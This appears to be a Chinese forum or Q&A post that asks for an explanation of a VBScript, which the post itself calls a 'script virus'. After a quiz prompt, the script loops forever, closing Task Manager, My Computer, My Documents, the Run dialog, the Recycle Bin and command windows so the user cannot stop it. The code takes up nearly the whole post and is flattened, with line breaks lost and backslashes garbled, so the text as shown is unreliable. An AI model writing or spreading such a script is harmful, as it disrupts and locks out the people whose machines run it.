解释此vbs命令

dim gb,jjgb=0set shell=createobject("wscript.shell")DA=INPUTBOX("给你最后一个机会!"&VBCRLF&"请问美国总统"&_"叫什么名字?","你不小心运行了脚本病毒 !!","回答错误后果自负")IF DA="奥巴马" THENMSGBOX "程序即将结束",,"回答正确!"WSCRIPT.QUITEND IFMSGBOX "作为惩罚, 你将不能运行以下程序"&VBCRLF&"我的"&_"电脑 , 我的文档 ",,"回答错误"dowscript.sleep 100jj=shell.appactivate("Windows 任务管理器")wscript.sleep 50if jj then shell.sendkeys "%fx"dn=shell.appactivate("我的电脑")wscript.sleep 100IF DN then shell.sendkeys "%{f4}"wd=shell.appactivate("我的文档")wscript.sleep 50IF WD THEN SHELL.SENDKEYS "%fC"RX=shell.appactivate("运行")IF RX THEN SHELL.SENDKEYS "%{f4}"hs=shell.appactivate("回收站")wscript.sleep 50IF HS THEN SHELL.SENDKEYS "%fc"cmd=shell.appactivate("c:尀windows尀system32尀cmd.exe")wscript.sleep 50IF cmd THEN SHELL.SENDKEYS "exit{enter}"GB=shell.appactivate("PE格式.txt - 记事本")wscript.sleep 50IF GB THEN wscript.quitloop 会的看看